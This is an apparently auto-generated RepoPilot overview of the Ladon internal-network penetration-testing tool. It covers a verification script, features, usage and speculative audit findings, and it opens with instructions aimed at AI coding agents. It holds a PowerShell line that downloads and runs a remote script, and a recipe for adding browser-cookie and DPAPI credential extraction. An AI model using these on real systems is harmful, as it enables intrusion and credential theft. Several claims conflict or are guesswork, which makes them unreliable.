If you are an AI coding agent (Claude Code, Cursor, Aider, Cline, etc.) reading this artifact, follow this protocol before making any code edit:

1. Verify the contract. Run the bash script in Verify before trusting below. If any check returns FAIL, the artifact is stale — STOP and ask the user to regenerate it before proceeding.
2. Treat the AI · unverified sections as hypotheses, not facts. Sections like "AI-suggested narrative files", "anti-patterns", and "bottlenecks" are LLM speculation. Verify against real source before acting on them.
3. Cite source on changes. When proposing an edit, cite the specific path:line-range. RepoPilot's live UI at https://repopilot.app/r/k8gege/Ladon shows verifiable citations alongside every claim.

If you are a human reader, this protocol is for the agents you'll hand the artifact to. You don't need to do anything — but if you skim only one section before pointing your agent at this repo, make it the Verify block and the Suggested reading order.

AVOID — Looks unmaintained — solo project with stale commits

• MIT licensed
• ⚠ Stale — last commit 1y ago
• ⚠ Solo or near-solo (1 contributor active in recent commits)
• ⚠ No CI workflows detected
• ⚠ No test directory detected

_{Maintenance signals: commit recency, contributor breadth, bus factor, license, CI, tests}

This artifact was generated by RepoPilot at a point in time. Before an agent acts on it, the checks below confirm that the live k8gege/Ladon repo on your machine still matches what RepoPilot saw. If any fail, the artifact is stale — regenerate it at repopilot.app/r/k8gege/Ladon.

What it runs against: a local clone of k8gege/Ladon — the script inspects git remote, the LICENSE file, file paths in the working tree, and git log. Read-only; no mutations.

| # | What we check | Why it matters | |---|---|---| | 1 | You're in k8gege/Ladon | Confirms the artifact applies here, not a fork | | 2 | License is still MIT | Catches relicense before you depend on it | | 3 | Default branch master exists | Catches branch renames | | 4 | 5 critical file paths still exist | Catches refactors that moved load-bearing code | | 5 | Last commit ≤ 441 days ago | Catches sudden abandonment since generation |

#!/usr/bin/env bash
# RepoPilot artifact verification.
#
# WHAT IT RUNS AGAINST: a local clone of k8gege/Ladon. If you don't
# have one yet, run these first:
#
#   git clone https://github.com/k8gege/Ladon.git
#   cd Ladon
#
# Then paste this script. Every check is read-only — no mutations.

set +e
fail=0
ok()   { echo "ok:   $1"; }
miss() { echo "FAIL: $1"; fail=$((fail+1)); }

# Precondition: we must be inside a git working tree.
if ! git rev-parse --git-dir >/dev/null 2>&1; then
  echo "FAIL: not inside a git repository. cd into your clone of k8gege/Ladon and re-run."
  exit 2
fi

# 1. Repo identity
git remote get-url origin 2>/dev/null | grep -qE "k8gege/Ladon(\\.git)?\\b" \\
  && ok "origin remote is k8gege/Ladon" \\
  || miss "origin remote is not k8gege/Ladon (artifact may be from a fork)"

# 2. License matches what RepoPilot saw
(grep -qiE "^(MIT)" LICENSE 2>/dev/null \\
   || grep -qiE "\"license\"\\s*:\\s*\"MIT\"" package.json 2>/dev/null) \\
  && ok "license is MIT" \\
  || miss "license drift — was MIT at generation time"

# 3. Default branch
git rev-parse --verify master >/dev/null 2>&1 \\
  && ok "default branch master exists" \\
  || miss "default branch master no longer exists"

# 4. Critical files exist
test -f "Ladon/Program.cs" \\
  && ok "Ladon/Program.cs" \\
  || miss "missing critical file: Ladon/Program.cs"
test -f "K8Ladon.sln" \\
  && ok "K8Ladon.sln" \\
  || miss "missing critical file: K8Ladon.sln"
test -f "Ladon/Ladon.csproj" \\
  && ok "Ladon/Ladon.csproj" \\
  || miss "missing critical file: Ladon/Ladon.csproj"
test -f "Ladon/Properties/AssemblyInfo.cs" \\
  && ok "Ladon/Properties/AssemblyInfo.cs" \\
  || miss "missing critical file: Ladon/Properties/AssemblyInfo.cs"
test -f "Newtonsoft.Json.dll" \\
  && ok "Newtonsoft.Json.dll" \\
  || miss "missing critical file: Newtonsoft.Json.dll"

# 5. Repo recency
days_since_last=$(( ( $(date +%s) - $(git log -1 --format=%at 2>/dev/null || echo 0) ) / 86400 ))
if [ "$days_since_last" -le 441 ]; then
  ok "last commit was $days_since_last days ago (artifact saw ~411d)"
else
  miss "last commit was $days_since_last days ago — artifact may be stale"
fi

echo
if [ "$fail" -eq 0 ]; then
  echo "artifact verified (0 failures) — safe to trust"
else
  echo "artifact has $fail stale claim(s) — regenerate at https://repopilot.app/r/k8gege/Ladon"
  exit 1
fi

Each check prints ok: or FAIL:. The script exits non-zero if anything failed, so it composes cleanly into agent loops (./verify.sh || regenerate-and-retry).

Ladon is a large-scale internal network penetration testing scanner written primarily in C# (~2.8MB) that combines port scanning, service identification, network asset discovery, password auditing, and vulnerability exploitation across 262+ built-in modules. It detects 30+ protocols (ICMP, NBT, DNS, SMB, WMI, SSH, HTTP, HTTPS, Exchange, MSSQL, FTP, RDP) and exploits critical vulnerabilities (MS17010, Zimbra, Exchange, SMBGhost, ActiveMQ) with support for Cobalt Strike plugin integration and PowerShell fileless execution. Monolithic C# .NET 2.0+ console application: Ladon/Program.cs is the entry point, Ladon/Properties/ contains embedded resources (icons, configuration), and obj/x86/Release/ contains x86-optimized build artifacts. Plugin architecture supports external POC/EXP modules via INI configuration (DLL, PowerShell, external programs), with vendored dependencies (Newtonsoft.Json.dll, Oracle.ManagedDataAccess.dll) in the root for offline operation.

Red teamers, penetration testers, and internal security researchers conducting post-exploitation horizontal movement in Windows enterprise networks who need a compact (<500KB), multi-protocol scanning tool that works in restricted shell environments (Cmd, PowerShell, WebShell, Cobalt Strike) without requiring large file uploads or external Python/Go dependencies.

Actively maintained production tool with 911 releases and significant GitHub star adoption (based on badges), supporting Windows 7–2025 and compatible with .NET 2.0+. However, no CI/CD pipeline, test suite, or build automation files are visible in the repository—code quality assurance relies on manual testing and real-world deployment feedback rather than automated regression testing.

Single-author project (k8gege) with no visible test coverage, pull request process, or issue response SLA; last update and commit frequency cannot be confirmed from file list alone. External dependency DLLs (Newtonsoft.Json.dll, Oracle.ManagedDataAccess.dll, System.*.dll) are vendored with no visible version pinning or lock file, creating supply chain blind spots. Exploits hardcoded or configuration-driven payloads (MS17010, CVE-2024-29973) that may become signature-detectable as defenses evolve.

Recent focus includes CVE-2024-29973 exploitation (visible in .rar archive), ChatLadon integration (ChatLadon.rar), and Cobalt Strike plugin enhancement (Ladon-cn.cna, Ladon-cve-2020-1472-exp.rar). PowerShell module (Ladon.ps1) actively maintained for cross-version compatibility (Win7–Win11/2025). No visible public issue tracker activity or PR merges in the file list.

1. Clone the repository:

git clone https://github.com/k8gege/Ladon.git
cd Ladon

2. Open Ladon.sln in Visual Studio (targets .NET 2.0+ and x86 architecture).
3. Build in Release mode (generates Ladon.exe ~500KB).
4. Run with parameters (no external dependencies required):

Ladon.exe 192.168.1.0/24 PortScan

Alternatively, use PowerShell fileless mode:

IEX (New-Object Net.WebClient).DownloadString('http://yourserver/Ladon.ps1')

Daily commands: Development:

Visual Studio → Build → Ladon.sln → x86 Release target → Ladon.exe output

Execution (no installation required):

Ladon.exe 192.168.1.1 PortScan
Ladon.exe 192.168.1.0/24 IcmpScan
Ladon.exe domain.com WmiScan password.dic
Ladon.exe C:\ips.txt HttpBasicScan

PowerShell (fileless):

IEX (New-Object Net.WebClient).DownloadString('path/to/Ladon.ps1')
Ladon-IcmpScan 192.168.1.0/24

Cobalt Strike: Load Ladon-cn.cna and execute via beacon.

• Ladon/Program.cs — Entry point for the Ladon scanner; all command-line argument parsing and main orchestration logic flows through here
• K8Ladon.sln — Visual Studio solution file that defines the build configuration and project dependencies for the entire Ladon toolkit
• Ladon/Ladon.csproj — Project configuration specifying compilation targets (x86 Release), resource bundling, and external DLL references critical for functionality
• Ladon/Properties/AssemblyInfo.cs — Assembly metadata and version information required for binary distribution and Cobalt Strike plugin compatibility
• Newtonsoft.Json.dll — Core dependency for JSON parsing in configuration and scan result serialization across all scanner modules
• Oracle.ManagedDataAccess.dll — Essential for database scanning modules; enables Oracle vulnerability detection and credential auditing features

Add a new protocol scanner module

1. Add the protocol detection logic to Ladon/Program.cs command handler (e.g., 'VNC', 'Telnet') (Ladon/Program.cs)
2. Define protocol-specific payload or fingerprint in Ladon/Properties/Resources.resx (Ladon/Properties/Resources.resx)
3. Implement the scanning logic with timeout and retry logic in the same module (Ladon/Program.cs)

Add a new vulnerability exploit module

1. Create a new .rar archive in the repo root with exploit code and POC (e.g., CVE-XXXX-XXXXX.rar) (CVE-2024-29973.rar)
2. Register the exploit in Program.cs command dispatcher with version check logic (Ladon/Program.cs)
3. Add shell payload generation logic for one-click GetShell feature (Ladon/Program.cs)

Extend Cobalt Strike plugin integration

1. Add new beacon command in Ladon-cn.cna script (e.g., new scan type or exploit trigger) (Ladon-cn.cna)
2. Map beacon command to corresponding Ladon.exe command-line invocation (Ladon-cn.cna)
3. Register output parser callback in the CNA script to format results for beacon console (Ladon-cn.cna)

Add support for a new credential source

1. Extend password reading modules in Program.cs (e.g., browser cookies, cloud provider tokens) (Ladon/Program.cs)
2. Define credential extraction method with DPAPI decryption if needed (Ladon/Program.cs)
3. Integrate with existing credential audit loop for password spray and account enumeration (Ladon/Program.cs)

• C# (.NET Framework) — Native Windows API access for WMI, LDAP, RDP, SMB enumeration; low-level credential dumping; direct Cobalt Strike DLL injection support
• PowerShell modules — Fileless execution on locked-down systems; avoids AV file-system hooks; tight integration with Windows native tools (Get-WmiObject, Get-ADUser)
• Cobalt Strike plugin (.cna) — In-memory execution with C2 callback; operator interface for scanning control; automated result exfiltration without staging
• Newtonsoft.Json — Human-readable scan output serialization; compatible with downstream exploitation frameworks and reporting tools
• Oracle.ManagedDataAccess — Direct vulnerability testing against Oracle databases; credential auditing for enterprise targets

• x86 Release build only (no x64 variants in file list)

  • Why: Maintains compatibility with legacy 32-bit Windows systems common in enterprise environments
  • Consequence: Limited to ~3GB address space; may require chunking for very large target ranges or result sets

• No built-in multi-threading control exposed in CLI (implicit parallelization in module layer)

  • Why: Simplifies command-line UX and reduces IDS/WAF detection by rate-limiting at module level
  • Consequence: Slower scans for massive networks (>10,000 hosts); trade-off between speed and stealth

• Single-file .rar exploit archives instead of integrated DLL modules

  • Why: Enables rapid CVE updates without full binary recompilation; easier version management
  • Consequence: Additional extraction/staging step required; potential AV detection during unpacking

• Cobalt Strike plugin for C2 integration vs. standalone tool

  • Why: Leverages mature C2 infrastructure; integrates with operator workflows; avoids separate network callback
  • Consequence: Requires Cobalt Strike license; tightly coupled to CS agent capabilities

• Does not provide real-time continuous monitoring; single-run scan tool only
• Does not support non-Windows target scanning (tools like Linux SSH modules are for enumerating Windows targets via SSH jumphosts)
• Does not implement vulnerability remediation; reporting and manual patching only
• Does not support encrypted C2 traffic to arbitrary servers; requires Cobalt Strike or manual HTTP/DNS exfil setup

No .NET version detection: Build targets .NET 2.0+ but assumes runtime is installed; Win7 systems may lack .NET 4.x, causing silent failures. Embedded credentials: Default password dictionaries (password.dic, SubDomain.dic) are embedded in Resources.resx; modifying requires recompilation. x86-only binary: Obj/x86/Release/ is hardcoded; Win64 systems run via WOW64, potentially causing memory/performance issues with large target lists. No proxy support: Network scanning ignores system proxies; must run on local network or use external relay. Single-threaded module loading: INI-based plugins load sequentially, blocking on slow DLL/PowerShell imports. Hardcoded timeouts: Protocol scanners use fixed timeout values (not visible but likely 3–10s); unreliable on WAN/VPN links. No TLS cert validation: HTTP/HTTPS scanning ignores invalid certs, enabling MITM vulnerabilities in test environments.

• Multi-protocol network scanning (32+ protocols: ICMP, SMB, WMI, RDP, SSH, HTTP, DNS, NBT) — Ladon's core strength is simultaneous asset discovery via heterogeneous protocols; understanding which protocol to use for each target class (Windows vs. Linux, intranet vs. DMZ) is essential for efficient scanning.
• NTLM/Kerberos credential auditing and hash cracking — Ladon's password audit modules (SMBHash, WmiHash, SmbHash extraction) depend on understanding Windows authentication—weak credentials are exploited via pass-the-hash and dictionary attacks.
• Fileless execution via PowerShell reflection/in-memory assembly loading — Ladon.ps1 and Cobalt Strike integration load .NET assemblies directly into memory without touching disk; evading antivirus signature detection is Ladon's key differentiator vs. file-based tools.
• Windows privilege escalation (SweetPotato, BadPotato, EfsPotato, BypassUAC) — Ladon includes 21+ local privilege escalation modules; understanding token impersonation and UAC bypass is essential for post-exploitation lateral movement.
• SMB protocol exploitation (MS17010/EternalBlue, SMBGhost CVE-2020-0796) — Ladon detects and exploits critical SMB vulnerabilities; understanding SMB negotiation, dialect selection, and RCE chains is required to customize exploits.
• Plugin architecture with INI-based configuration (DLL/PowerShell/executable callout) — Ladon's extensibility relies on external module loading via app.config INI; creating custom POCs requires understanding .NET reflection, P/Invoke, and IPC patterns.

• k8gege/LadonGo — Official cross-platform rewrite of Ladon in Go supporting Linux, macOS, Windows, ARM, MIPS; same feature set but larger binary footprint (~10-50MB).
• bettercap/bettercap — Alternative network scanning/MITM framework for asset discovery and lateral movement, but Go-based and ~20MB; Ladon is lighter and Windows-focused.
• PowerShellEmpire/Empire — Post-exploitation PowerShell framework with similar credential auditing and lateral movement modules; Ladon integrates as plugin via Cobalt Strike but operates independently.
• gentilkiwi/mimikatz — Companion tool for credential harvesting (NTLM hash/plaintext extraction); Ladon's password auditing depends on mimikatz-like LSASS memory dumps (DumpLsass.PNG visible).
• cobbr/Covenant — Cobalt Strike alternative with similar plugin architecture; Ladon's Cobalt Strike plugin (Ladon-cn.cna) is compatible and used in beacon post-exploitation chains.

To work on one of these in Claude Code or Cursor, paste: Implement the "<title>" PR idea from CLAUDE.md, working through the checklist as the task list.

Create comprehensive unit tests for Ladon/Program.cs core modules

The repo contains multiple scanning modules (port scanning, service identification, vulnerability detection) but lacks visible test coverage. Program.cs likely contains core logic for these 32+ protocols (ICMP, SMB, WMI, SSH, HTTP, RDP, etc.). Adding unit tests would improve code reliability, especially critical for security scanning tools where false positives/negatives have real consequences. This is particularly valuable for the vulnerability detection modules (MS17010, CVE-2018-2894, CVE-2024-29973, etc.) mentioned in the description.

• [ ] Create new directory Ladon.Tests/ with test project structure
• [ ] Add unit tests for core protocol scanning methods in Program.cs (at least ICMP, SMB, HTTP methods)
• [ ] Add tests for vulnerability detection modules (MS17010, Exchange CVE handlers)
• [ ] Create GitHub Actions workflow to run tests on each PR (see missing .github/workflows/)
• [ ] Document test coverage in README with badge

Extract and modularize large scanning logic from Program.cs into separate service classes

The file structure shows Program.cs likely contains monolithic scanning logic for 32 different protocols. This violates separation of concerns and makes the codebase difficult to maintain. The presence of multiple .rar archives (MoudleDemo.rar, LadonLib.rar, ChatLadon.rar) suggests modular components exist but aren't integrated into the main codebase structure. Refactoring into protocol-specific service classes (SMBScanner.cs, SSHScanner.cs, HTTPScanner.cs, etc.) would improve maintainability and testability.

• [ ] Analyze Program.cs and identify protocol-specific scanning methods
• [ ] Create Ladon/Services/ directory with individual scanner classes (at least 5 major protocols: SMB, SSH, HTTP, MSSQL, RDP)
• [ ] Move protocol logic from Program.cs to respective service classes following dependency injection pattern
• [ ] Update Ladon.csproj to reference new service namespace
• [ ] Add documentation in KaliLadon.md explaining module architecture for contributors

Add GitHub Actions CI/CD pipeline with security scanning and binary release automation

The repo has release binaries but no visible CI/CD workflow (.github/workflows/ appears to be missing). For a security scanning tool with multiple CVE-specific modules and PoCs (CVE-2018-2894_Poc.exe, CVE-2024-29973.rar), automated builds, code analysis, and release management are critical. This would also catch breaking changes across the .NET codebase and dependencies (Newtonsoft.Json.dll, Oracle.ManagedDataAccess.dll, System.* assemblies).

• [ ] Create .github/workflows/build.yml to compile K8Ladon.sln on Windows runner
• [ ] Add static analysis step using tools like SonarQube or Roslyn analyzers for C# code quality
• [ ] Integrate security scanning for the repo (SAST/dependency checking for vulnerable NuGet packages)
• [ ] Automate release artifact generation (both x86 and x64 builds mentioned in obj/x86/Release/)
• [ ] Document CI/CD workflow and contribution guidelines in CONTRIBUTING.md

• Add unit tests for protocol handlers (SMB, WMI, SSH, RDP) in Ladon/ using NUnit or xUnit. Currently no test/ directory exists; create Ladon.Tests.csproj with basic connection/timeout/auth failure scenarios.: No automated test coverage visible; critical for regression prevention as new CVEs are added.
• Document all 262 module signatures and parameters in Ladon-Modules.md with examples. README currently lists only 30+ protocols; create exhaustive module reference (module name, parameters, exit codes, output format).: Users must reverse-engineer modules from Program.cs; formal documentation would reduce support burden and enable community contributions.
• Create build CI/CD pipeline (.github/workflows/build.yml) that compiles Ladon.exe on Windows, runs signature scans, and packages releases. Currently no automated builds; relying on manual k8gege releases.: Single-author bottleneck; GitHub Actions would enable community PRs without source review overhead and provide reproducible build artifacts.
• Migrate vendored DLLs (Newtonsoft.Json.dll, Oracle.ManagedDataAccess.dll) to NuGet package references in Ladon.csproj. Currently no .csproj dependencies visible; creates supply chain audit gaps.: Enables version pinning, automated security updates, and reproducible builds across environments.

• Critical · Hardcoded Private RSA Key Exposed — id_rsa_2048. The repository contains an unencrypted private RSA key file (id_rsa_2048) committed to version control. This is a critical security vulnerability as any attacker with access to the repository can use this key for authentication compromise, SSH access, or other cryptographic attacks. Fix: Immediately revoke the exposed key pair. Remove the key from git history using 'git filter-branch' or 'BFG Repo-Cleaner'. Generate a new key pair and store private keys securely using environment variables, key management systems, or CI/CD secrets. Add 'id_rsa*' to .gitignore.
• Critical · Penetration Testing Tool Distribution — Root repository, Ladon/Program.cs, Ladon.csproj. This repository distributes a large-scale penetration testing and network reconnaissance tool (Ladon) that includes capabilities for vulnerability exploitation, credential harvesting, password auditing, and network asset discovery across multiple protocols. Unrestricted distribution poses significant security risks if misused for unauthorized access. Fix: Implement access controls and usage restrictions. Add clear legal disclaimers about authorized use only. Consider implementing licensing, authentication, or audit logging for tool usage. Restrict distribution to authorized security professionals.
• High · Known Vulnerable CVE Exploit Code Present — CVE-2018-2894_Poc.exe, CVE-2024-29973.rar, Ladon-cve-2020-1472-exp.rar. The repository contains compiled exploit code for specific CVEs (CVE-2018-2894, CVE-2024-29973, CVE-2020-1472) as .exe and .rar files. These represent known vulnerabilities that attackers actively exploit. Distributing pre-built exploits increases attack surface. Fix: Remove compiled exploit binaries from the repository. If exploit code must be included, provide source code only and require users to compile. Add detailed vulnerability advisory links. Implement version tracking and security update notifications.
• High · Unverified Third-Party Dependencies — Newtonsoft.Json.dll, Oracle.ManagedDataAccess.dll, System.Buffers.dll, System.Numerics.Vectors.dll, Ladon.csproj. The project includes multiple external dependencies (Newtonsoft.Json.dll, Oracle.ManagedDataAccess.dll, System.Buffers.dll, System.Numerics.Vectors.dll) without visible version pinning or dependency lock files. No evidence of dependency scanning or vulnerability assessment. Fix: Implement a package.lock or packages.config with specific versions. Use NuGet package manager with version constraints. Perform regular dependency audits using tools like OWASP Dependency-Check or Snyk. Monitor for security advisories on dependent libraries.
• High · Hardcoded Credentials in Configuration — Ladon/app.config. The repository includes app.config file which commonly contains hardcoded database credentials, API keys, or service endpoints. No encryption or external secrets management is visible. Fix: Remove all hardcoded credentials from app.config. Implement external secrets management using Azure Key Vault, AWS Secrets Manager, or environment variables. Use configuration transformations for different environments. Never commit sensitive data.
• High · Compiled Binary Distribution Without Source Transparency — CVE-2018-2894_Poc.exe, Demo_DLL.rar, ChatLadon.rar, LadonLib.rar, MoudleDemo.rar. Multiple .exe files (CVE-2018-2894_Poc.exe, Demo_DLL.rar, ChatLadon.rar) are distributed as compiled binaries without source code availability, making security verification impossible. Fix: Publish source code for all distributed binaries. Implement code signing for executables. Provide build instructions for users to compile from source. Use static analysis tools on source code before distribution.
• Medium · Missing Security Headers and No HTTPS Enforcement — Ladon/Program.cs,. The tool performs HTTP/HTTPS scanning and can act as an HTTP server (based on HttpBasicScan, HttpDownLoad features), but no evidence of security headers (CSP, HSTS, X-Frame-Options) or HTTPS-only enforcement. Fix: undefined

LLM-derived; treat as a starting point, not a security audit.

• Open issues — current backlog
• Recent PRs — what's actively shipping
• Source on GitHub

Generated by RepoPilot. Verdict based on maintenance signals — see the live page for receipts. Re-run on a new commit to refresh.